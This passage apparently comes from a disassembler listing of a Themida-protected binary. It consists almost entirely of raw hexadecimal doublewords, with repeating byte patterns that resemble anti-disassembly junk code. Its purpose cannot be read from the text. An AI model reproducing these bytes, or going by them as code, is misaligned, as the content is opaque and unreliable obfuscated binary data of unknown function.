927595E2h, 5B5F5BCDh, 1B55BD83h dd 0F0305E2h, 4B186h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C8A86DC4h, 0BD09F229h dd 5E21365h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 10AA99C7h, 118BD202h, 13E989h, 89F60000h dd 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh, 54B2A13Ah, 0D98C66ACh dd 327D9531h, 0E18005E2h, 13E904h, 4ACB0000h, 0F5DB5D7Fh dd 570E5AC9h, 0A4FF44F1h, 172B6BD8h, 9D8B609Ch, 5E21025h dd 17519D89h, 0A6105E2h, 0EF840FC9h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 94A2C355h, 3D40A9F7h, 8B319C79h, 0E2241D85h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0DD4875ABh, 2AAA30Fh, 50526374h dd 9FD9D33h, 5F5F05E2h, 10E8h, 0E1362C00h, 970A7BFFh, 1D071372h dd 0AB70E7Ah, 6810F8Bh, 8B000000h, 0E21B85BDh, 85335F05h dd 5E22AA9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0CEC35747h, 64FD2DEh, 105587CDh, 0DB816647h, 5090BBC6h dd 0FF7B752h, 0D1BB6631h, 50585A61h, 60605250h, 0E2BF6661h dd 310F61AEh, 0BF665250h, 310FB75Dh, 585A585Ah, 8A525690h dd 6A5B5FFAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 0BD33D501h, 5E20BB9h, 4E8h, 1F03FF00h dd 0FA8B6600h, 13E950h, 55080000h, 7F594DDBh, 9F881F92h dd 806A31BFh, 0C07A279Fh, 24448BF6h, 8E904h, 0EEB20000h dd 249E2150h, 8BE31Eh, 50525250h, 5A310F52h, 310F5F58h dd 0EC4147BFh, 89585A4Ch, 58042444h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0CFC35242h, 0B860Fh, 6E90000h dd 3000000h, 814D932Ah, 6800F8Fh, 89000000h, 0E21A458Dh dd 3995FF05h, 6A05E208h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0CA4DC351h, 8D8D897Fh dd 8905E205h, 0E5BB9D85h, 85895705h, 5E22261h, 1B6E95Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 62AE2DC3h, 0B8B7FC2Ah, 50EF80F8h, 323D9D8Bh dd 858B05E2h, 5E5BB95h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 1EC35242h, 7FA9ECDAh, 1800C7A2h, 1000000h dd 0E223058Dh, 99B58B05h, 8B05E5BBh, 0E223919Dh, 68E0F05h dd 31000000h, 0E217EDB5h, 0F9858B05h, 6A05E200h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0F660C356h, 0AB64196Bh, 1D31A8ECh, 23E1B529h, 68905E2h dd 8BD9BF0Fh, 0E2241D85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 52C7F511h dd 0B86D94D0h, 0DE9h, 1AB9EB00h, 6A794347h, 0C8173718h dd 468939BEh, 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 6005D4EFh, 0FE6E1634h, 0F99D89FEh dd 9605E230h, 9E9h, 0B8CA0C00h, 0E30BF395h, 665099DFh dd 966ECEBFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 29C35242h, 16BA9427h, 6612EE64h, 3FCCF781h, 0BB95B5FFh dd 68F905E5h, 0C52E5AEh, 348146B7h, 4DE65124h, 45BD8B0Ch dd 8D05E217h, 0E5BB9D85h, 123EBF05h, 8B504AE6h, 240489DAh dd 1D399D89h, 46B305E2h, 83995FFh, 6A05E2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2C0D0FC3h dd 9BD0FF50h, 0BF61D1D6h, 10B21DB5h, 6E961h, 15670000h dd 0E1577E57h, 1B5585C7h, 305E2h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 894247C3h dd 0E22CB195h, 9DBD8305h, 5E5BBh, 54840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 179FB0C3h, 0E3815060h, 5022E1B3h, 43E95Bh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 890F82C3h, 6, 19059D23h, 305005E2h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0C38166C0h, 10E9A5FDh dd 0C8000000h, 0F28F8FC2h, 209C92EAh, 27BB337Ah, 0E9B3FC46h dd 13h, 58F38A6h, 0ED407949h, 255699Dh, 0C7F25A25h, 83D5F819h dd 0E21B55BDh, 850F0305h, 3A8h, 0DE8h, 743E4A00h, 7A6D2E3Fh dd 43E152FEh, 0BD8B59F3h, 5E2319Dh, 0DE95Bh, 54B60000h dd 9C0A7E40h, 0DD20B538h, 83A71F97h, 0E5BB9DBDh, 840F0005h dd 370h, 0B5FF63B3h, 5E5BB9Dh, 95FFDA8Bh, 5E2172Dh, 9C18589h dd 0B58B05E2h, 5E5BB91h, 6890F60h, 9000000h, 0E20CFD95h dd 61D78B05h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 6E8BDC3h, 92000000h dd 0DC943161h, 0F85FF8A5h, 0BB525050h, 71907981h, 6660310Fh dd 5A61CB8Bh, 24348958h, 81665660h, 5A85C1C8h, 7ADBD89h dd 0FF6105E2h, 0E5BB9DB5h, 56DC8A05h, 0D195FF5Fh, 6A05E22Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 772FC357h, 0B531A40Dh, 5E213B9h, 0BB91B58Bh dd 9D8B05E5h, 5E22619h, 10DD858Bh, 0BD2305E2h, 5E22D6Dh dd 0C48689h, 8D890000h, 5E231B1h, 0BE9958Bh, 858905E2h dd 5E20009h, 6A04C283h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 85E5C351h, 0BE351818h dd 0D0D78166h, 89BD0B8Dh, 8905E20Ah, 6A2050h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8BCEC3h dd 5E21931h, 5B858DF5h, 6A05E5CEh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 8C48C352h dd 89B9EB98h, 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 235D97DBh, 8B66C182h dd 6A006AD8h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 4E47C351h, 3D5409D1h, 4B77FDA5h dd 411BD03h, 8B6605E2h, 9DB5FFFAh, 6A05E5BBh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0E0D3C355h, 45D3EC5h, 116BCE40h, 13D59D8Bh, 95FF05E2h dd 5E214E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0DCC35242h, 0F819D8Bh, 0BF5005E2h, 52733E9Ah, 81243489h dd 260C0DEFh, 0FF76B712h, 0E5BB9DB5h, 71BD8905h, 0FF05E20Fh dd 0E22D2195h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0FFE7A49Ch, 89BD8321h dd 5E200h, 45840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 9AA28C3h, 0E204A985h dd 0DA8B6605h, 0CE950h, 0F93A0000h, 0ECDF504Ch, 25AEA67Ch dd 3489BD3Eh, 4830F24h, 66000000h, 0FFCC4EBFh, 0E5BB9DB5h dd 20F38105h, 0FF39EBF9h, 0E2041595h, 22F0BB05h, 0B5FF4F18h dd 5E5BB9Dh, 142D8589h, 95FF05E2h, 5E20A59h, 0D85BD33h dd 0BD8305E2h, 5E224CDh, 60840F02h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 32D9C356h, 0E381668Eh, 858BE39Dh, 5E21F35h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 57C35141h, 99AAE817h dd 0D5D9D0Bh, 0C605E2h, 0FDA8B00h, 680h, 72F78100h, 0C737FF0Dh dd 0E20CF985h, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h dd 1B04h, 0C3574700h, 85E6CCBDh, 0A6B8759Bh, 0FFF386E9h dd 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 5EED33D4h, 94C217E1h, 0F1CEBEBBh, 6AC18B01h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 7EF3C355h, 1B705CDBh, 0FA8BF40h, 9589DBB7h dd 5E23241h, 8DFFB70Fh, 0E20E9185h, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E0F448C6h dd 890931DCh, 0E2075995h, 0BB665005h, 4891A8Ah, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0DFB3B0D3h, 575F29BBh, 6A006A2Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0BF7AC357h dd 0B776C98h, 0F006AFCh, 2EBBDABFh, 8D120C84h, 0E675B185h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 49278430h, 83DABE4Bh, 0BD8B05C0h, 5E21E95h dd 89F98B50h, 11E92404h, 0BB000000h, 1EF51E9Eh, 459A2E82h dd 0F344357Eh, 24A24008h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0A22D29C3h, 731DD64Fh dd 358DBB3Dh, 6A2F5Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 53C35242h, 64C94740h, 1A2F4A9Bh, 9E9h dd 0CE08C100h, 8FABE523h, 95FF21DEh, 5E21E2Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 63C35646h, 39B58951h dd 8D05E22Dh, 0E59D808Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 299B5921h dd 12E8D1FFh, 54000000h, 0F3152BF1h, 0ABFBB08Bh, 0DC562DD5h dd 4764756Fh, 0DFBF0F3Dh, 0B9BD835Bh, 105E200h, 0AA850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0BEAC92C3h, 0F538435h, 583h, 0CF816600h dd 6A5FB66Fh, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 5239227Ch, 0BF5ABF22h, 5FA3170Fh dd 0D59D8B60h, 6105E231h, 0F525050h, 480h, 2BB6600h, 66310F42h dd 5A5E14BBh, 24048958h, 0FF22C380h, 0E214E995h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 8A8435BEh, 89C916E9h, 0E22B418Dh, 0CED78005h, 0E7AE9h dd 0E800h, 815D0000h, 0E675BBEDh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0F33B1E2Ch dd 0F60F4D1h, 681h, 598D8900h, 0F05E213h, 687h, 0B5EA8100h dd 613588C1h, 0D946D381h, 858D788Eh, 5E58E9Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 62C35242h, 0BB60E4A6h dd 3EFF27EDh, 2FA59589h, 16105E2h, 0E217A9B5h, 5E89005h dd 4E000000h, 7F0A7394h, 6F3329BFh, 66505B69h, 901ACCBBh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 10C35747h dd 0ABD7BF66h, 64F8BF0Fh, 35FFh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C2CDA3C3h dd 5FEF8F22h, 13E8h, 706A8100h, 0C04C0979h, 4190D688h dd 8D873553h, 0D6F655E5h, 8D0F60h, 0B4000000h, 0B75F61D9h dd 2589646Dh, 0 dd 2665BD09h, 85FF05E2h, 5E22329h, 0BF0FFF6Ah, 61B5FFD9h dd 6A05E223h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 903CC351h, 3451D5F7h, 189D95FFh dd 0E4E905E2h, 81000000h, 0C4F48E3h, 900B017h, 0E2068985h dd 8970E605h, 0E222ED85h, 971E405h, 0E22191B5h, 7F57BF05h dd 613C2C3Fh, 0B9830Fh, 0B60F0000h, 9E9C8h, 48CB0000h dd 6F82B9C3h, 66D11A7Bh, 0B1D7C381h, 6BAh, 0B5295600h dd 5E20861h, 8BC18B5Bh, 0E22D399Dh, 4E8C105h, 860FDF8Bh dd 6, 9A98D89h, 0F76605E2h, 7BBF66E2h, 8BC82B6Bh, 0BBD18BD9h dd 261E5068h, 6E9h, 25BD8B00h, 8B05E210h, 0E2066D85h, 0A5BD8905h dd 0BB05E20Fh, 4DD20D6Dh, 8B07C083h, 0C083DFh, 0D03BF88Bh dd 0B830Fh, 9D8B0000h, 5E20B81h, 32E9h, 5D8D8B00h, 0F05E20Bh dd 0E183F9B7h, 20840F01h, 66000000h, 83681ABFh, 0E20B5DA5h dd 0BB66FE05h, 9589AA9Ah, 5E2066Dh, 64DB509h, 0E905E2h dd 8D000000h, 0E5FD0BB5h, 56FC6005h, 10E9h, 6B760E00h dd 0C6A05699h, 0CEE51CC6h, 0E2F02B76h, 0E9615BDBh, 13h dd 724C3385h, 69122ECAh, 0EFDE15BCh, 29A4FE74h, 6AC3B2F6h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BD29A0A4h, 5E219A9h, 1A75BD89h, 95FF05E2h dd 5E20AB9h, 48D6C781h, 0EAB9609Fh, 0E9000008h, 12h, 63A16D1Fh dd 0A3B54DFFh, 0DAE60B48h, 551F55A4h, 0D98B3A98h, 0FFCE183h dd 687h, 65852900h, 0FC05E231h, 31A19589h, 0B805E2h, 0E8000000h dd 14h dword_535554 dd 1D791C9Ah, 3C9B46CCh, 6054967Ch, 0E62DA5ADh, 0FF430D84h ; DATA XREF: Themida_:004EF72Co dd 0D090D381h, 0BA5F73D3h, 0 dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 14E9h, 42FA8000h dd 8B07218Bh, 6AD79334h, 9EB87DF6h, 6509D07Dh, 198D89B8h dd 0D05E225h, 88h, 0BE9958Bh, 0DE905E2h, 1000000h, 0E3D66D72h dd 0CAEEFF8h, 0DE3E54F4h, 7618D8Bh, 8D8905E2h, 5E232D9h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD295818h dd 5E2302Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 5EC35343h, 83C217E1h, 0E20D79BDh, 840F0005h, 2Dh dd 24459D33h, 0B8F805E2h, 0 dd 1809BD0Bh, 8D8D05E2h, 5E24C42h, 0D5BD2960h, 6605E224h dd 62DFE281h, 8BE1FF61h, 0E22C91BDh, 55BD8305h, 5E21Bh dd 4FA840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 0E394BEC3h, 14840FB6h, 0F000000h dd 0E83h, 9E900h, 5F8E0000h, 2B9308CCh, 665AADBFh, 0BD83DA8Bh dd 5E21B55h, 0CC840F01h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 31AEC352h dd 0EDD7812Bh, 8350C023h, 0E21B55BDh, 860F0305h, 465h dd 0F250ACBBh, 3DB5894Eh, 6005E21Bh, 66F9B70Fh, 9D03D98Ch dd 5E21185h, 2904E180h, 0E2297595h, 0FC90A05h, 16584h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0F9BF0F67h, 6860F60h, 0F000000h, 86h, 0BE900h dd 0ABAD0000h, 0D3841C17h, 0F906C31Fh, 858B6100h, 5E2241Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 55C35343h dd 2AA98533h, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 4B6F92C3h, 0E210CA74h, 0CF8166BBh dd 850F092Bh, 6, 178D9D29h, 8B5005E2h, 240489DEh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C9C35545h, 0C9C4912Ah dd 8B91EA6Bh, 0E2089D9Dh, 52BF6605h, 68006ADCh, 753832D1h dd 81D98B66h, 312E2434h, 6A7527h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0DA8BDBC3h, 83995FFh dd 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 51D5F7C3h, 157C1134h, 68B0Fh, 0C7810000h dd 7FD5511Bh, 0BB9D8589h, 6A05E5h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0C3661C3h, 85FF6B1Ch dd 0E99AF4AAh, 260h, 26A1BD2Bh, 858B05E2h, 5E5BB95h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 3BC35646h, 894AA578h dd 1800C749h, 0E8000000h, 0Fh, 0E15F99C2h, 0E36EB5C6h dd 0F2896510h, 31CCF514h, 0E21B318Dh, 60605F05h, 3265B58Bh dd 8A0F05E2h, 0 dd 19890F61h, 0E8000000h, 13h, 0E1C6D59Ah, 0F8FE606Fh dd 633784C0h, 91079735h, 58B9ABFFh, 99B58B61h, 6A05E5BBh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 8B6CC355h, 0D694039Bh, 0C4DB8144h, 0B714B5C0h dd 0F9858B7Bh, 8905E200h, 0E210A18Dh, 6A068905h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 5FCAC356h, 7B4CCAA8h, 8B0F6301h, 8, 71BD2B53h, 5F05E21Eh dd 1F15BD8Bh, 858B05E2h, 5E2241Dh, 14C5BD0Bh, 468905E2h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 1DA23BBFh, 695F9167h, 96DFBF0Fh, 0E9575250h dd 13h, 0A7380EF5h, 89A91EAAh, 41976F6Eh, 0F36C4E08h, 5F676130h dd 0BF66310Fh, 585A2C80h, 14E86050h, 0AE000000h, 3E54F40Ch dd 2D55C2DEh, 0C163A3D6h, 113154EDh, 8B186637h, 966158F1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8DC35747h dd 95B5FF85h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 2B53C351h, 0FFC145FFh dd 0BF66111Bh, 0B3684FE5h, 66CC31D1h, 81BD97BBh, 324C2404h dd 6A33EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0F6D2AFC3h, 80F986F5h, 97EF8054h, 0BB9D858Dh dd 2B6005E5h, 0E223E9BDh, 15858905h, 6105E20Ch, 50DE8B90h dd 8E0F5250h, 4, 0CBABBF66h, 6052310Fh, 585A5F61h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 55FE07DEh, 9B6A7AF1h, 0BF665700h, 8B607119h, 0E20A45BDh dd 0BB61F805h, 6F93C7D3h, 83995FFh, 536005E2h, 665B5F57h dd 61764ABBh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0B700BBBEh, 335CFEDCh, 0E22C659Dh dd 58B0F05h, 66000000h, 1D1FCF81h, 1B5585C7h, 305E2h, 29500000h dd 0E21A4595h, 0BD835F05h, 5E5BB9Dh, 2A840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0AABCC357h, 1016CE45h, 1EE95Eh, 0B70F0000h dd 0C3050DAh, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 13ED9D8Bh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 9D8B97C3h, 5E21C59h dd 1B55BD83h, 0F0305E2h, 50885h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 833F409Bh dd 0E5BB9DBDh, 840F0005h, 4DDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 6EC35141h, 1DCB07E1h, 0FF2B13D6h dd 0E5BB9DB5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0D2E82F48h, 60FE8B66h dd 0D2B70F57h, 95FF6158h, 5E2172Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 3EC35040h, 0FEB70F60h, 0B58961FCh dd 5E21E01h, 0BB91B58Bh, 6A05E5h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0A29CB4C3h, 6C7F828h dd 10001h, 14870Fh, 0FE90000h, 0C5000000h, 9CC0A080h, 9BCA810Eh dd 892B95A0h, 95018608h, 5E20E95h, 0E9525050h, 0Fh, 95A6D57Ah dd 61A9A6D1h, 545ED61Eh, 0F350E68h, 5AD98B31h, 24348958h dd 16A99D89h, 0B5FF05E2h, 5E5BB9Dh, 0D195FFFCh, 0E905E22Bh dd 8, 248160D8h, 22B2AFFBh, 0BB91B58Bh, 96005E5h, 0E223E985h dd 858B6105h, 5E210DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 8AC35646h, 90376B74h, 294ABBB8h, 0E221C185h dd 0C4868905h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 4C33C352h, 122ECA72h dd 0BD8BBC69h, 5E22209h, 0BE9958Bh, 6A05E2h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0DA8DBAC3h dd 27D97379h, 6673C204h, 8841F381h, 6A04C283h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0F796C357h, 8EE6F70Bh, 13E83A59h, 0B000000h, 17B308ECh dd 6D6D3354h, 126788F7h, 0C23E7A8h, 0B509B55Bh, 5E21D49h dd 0FE95Fh, 0FAB50000h, 3ED50225h, 0FA788A6Dh, 2E0BF00Ah dd 205089C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 8BC35747h, 6AD79334h, 8DB87DF6h, 0E5CE5B85h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 15A65595h, 0C1852900h, 0E905E208h, 10h, 4FA64F72h, 6F7B428Ah dd 785CE3DAh, 0C698814Ch, 0BF1BD23h, 868905E2h, 0B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D7C35747h, 6A90FBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 3CC35242h dd 68D0Fh, 9D8B0000h, 5E224F1h, 0BB9DB5FFh, 6A05E5h, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0C63062C3h, 1D419D0Bh, 95FF05E2h, 5E214E9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 7CC35545h, 48105077h dd 7B4EEEEh, 7E864h, 0D7760000h, 0B4792F7h, 1DD78027h dd 6860F5Bh, 29000000h, 0E20D7D95h, 0FE8B9605h, 0FB8B6650h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 24C0D843h, 8D815B08h, 0FA8B66AFh, 0BE8h dd 4EC28100h, 0CF9A58A6h, 94F54CECh, 1518531h, 0FF5F05E2h dd 0E5BB9DB5h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 4C66F3FAh, 37F38166h dd 2195FF61h, 6A05E22Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 8A9EC357h, 63B256CBh dd 89BD83h, 0F0005E2h, 2A84h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 8A961ADDh dd 24B750F9h, 418D8996h, 0FF05E211h, 0E5BB9DB5h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8166D209h, 0FF2E3ECFh, 0E2041595h, 51B58905h, 0FF05E215h dd 0E5BB9DB5h, 0FFF88B05h, 0E20A5995h, 0BE905h, 99190000h dd 0F1ED4C04h, 7C2BD2E2h, 0CDBD8377h, 205E224h, 5F840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 2A3E08C3h, 0F966C6C0h, 0BF4B03A0h, 739563F3h dd 1F35858Bh, 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 67D545C3h, 7A2DB159h, 80A9FBBEh dd 0C6B2CBh, 4BBB6600h, 0F985C789h, 5E20Ch, 60000000h dd 9D09FDB0h, 5E22161h dd 0BE961h, 36250000h, 0F9E59928h, 0B34E19E5h, 0F2D2E91Dh dd 9D8BFFFFh, 5E22D41h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0A5E94C3h, 2BC7A47Ch dd 8DFE8B93h, 0E20E9185h, 17D78105h, 90331B36h, 1DA9BB66h dd 6A9050h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0C07292C3h, 3888923Eh, 6AAA91h, 4219D8Bh dd 6A05E2h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 85C35343h, 0FF7F614h, 858DDFB7h, 5E685F1h, 1BF99D8Bh dd 0C08305E2h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 4FAB25DDh, 0AE850B9h dd 0E5000000h, 0D023CB8Dh, 0DF49837Fh, 5F5056EFh, 4895F5Bh dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8D31C139h, 5E20C45h, 8166006Ah, 6A19D8DBh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0AD12EA72h, 5880F4Fh, 66000000h, 74B1F781h dd 1E2D95FFh, 8D8D05E2h, 5E59D80h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 6C35747h, 68AF9117h, 8BAF0083h dd 0E21C699Dh, 6AD1FF05h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 7C18C351h, 3D6975D2h dd 302D9D8Bh, 0BD8305E2h, 5E200B9h, 55850F01h, 0E8000000h dd 0Fh, 7A99F704h, 0C4500B42h, 158FC8DEh, 8BB9FF2Fh, 26A5FFBh dd 5F23B351h, 7E950h, 8F180000h, 0FB5D5FE5h, 240489C6h dd 30319D89h, 95FF05E2h, 5E214E9h, 10E8h, 171CB800h, 52E3D057h dd 4B18DED4h, 0B1F2947Fh, 3DBD8BB0h, 5F05E215h, 0EDDE9h dd 0E800h, 815D0000h, 0E685FBEDh, 5E805h, 0CB170000h, 0F9ADB00Dh dd 55006A5Bh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 858DFBDFh, 5E58E9Eh, 2AE5BD8Bh, 895005E2h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 893449C3h, 0FF640203h, 35h, 66FC6000h, 6461C68Bh dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 4A4DB2C3h, 0F5EBBF66h, 232985FFh dd 0F98B05E2h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0B74A13C3h, 205067A6h, 0FFDF56EEh dd 0E20659B5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 81661A60h, 0FF3FA7CBh dd 0E2189D95h, 12AE905h, 9D230000h, 5E21F99h, 9D8900B0h dd 5E200ADh, 0B70F70E6h, 8971E4FFh, 